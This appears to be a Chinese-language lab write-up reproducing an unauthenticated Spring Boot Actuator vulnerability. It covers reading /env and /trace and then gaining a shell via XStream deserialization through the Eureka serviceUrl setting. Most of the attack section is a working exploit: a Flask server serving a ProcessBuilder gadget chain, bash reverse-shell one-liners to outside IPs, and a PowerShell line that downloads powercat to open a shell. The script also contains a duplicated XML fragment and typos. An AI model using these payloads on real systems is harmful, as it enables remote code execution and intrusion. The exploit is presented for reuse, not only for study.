目录
一, 未授权访问是什么?
二,Actuator介绍
三,怎么进行漏洞发现呢?
四,实验环境
五,漏洞复现
1.通过访问env获取全部环境属性
2.通过/trace提供基本的http请求跟踪信息
3.利用反序列化进行getshell
1.启动脚本
2.开启监听
3.使用bp抓取一个/env的包
4.修改POST数据
一, 未授权访问是什么?
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露
二,Actuator介绍
Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行 自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查 看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。
三,怎么进行漏洞发现呢?
1. 分析web 应用使用的框架为 springboot 框架
2.如果web应用开发者没有修改springboot web默认图标
3.如果修改了默认图标,我们通过访问refresh如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下如图所示
四,实验环境
靶机:Centos7+springboot IP地址:10.1.1.137:8090
攻击机:Kali IP地址:10.1.1.135
五,漏洞复现
1.通过访问env获取全部环境属性
2.通过/trace提供基本的http请求跟踪信息
3.利用反序列化进行getshell
需要以下两个包(环境已安装)
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
采用脚本的方式
# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask,Response
app =Flask(_name_)
@app.route('/xstream', defaults={ ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Date">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/139.9.198.30/1234 0>&1</string> //攻击机的IP
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2333)
采用一个启动脚本的服务
注意讲脚本中的IP改为自己的IP,并且开启一个监听端口
1.启动脚本
2.开启监听
3.使用bp抓取一个/env的包
4.修改POST数据
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
点击forward发送请求
访问/refresh,还是显示一次错误页面。我们对此进行抓包
我们讲此修改为post请求,数据包随机输入就可以
查看监听的端口,我们可以看到得道了一个shell,复现成功!!!